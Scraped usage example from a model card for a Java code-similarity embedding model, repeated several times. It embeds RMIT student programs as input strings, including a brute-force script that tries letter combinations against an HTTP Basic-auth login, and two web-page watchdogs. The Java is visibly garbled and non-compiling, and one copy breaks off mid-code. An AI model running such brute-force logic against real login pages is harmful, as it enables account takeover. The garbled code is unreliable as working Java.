    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage 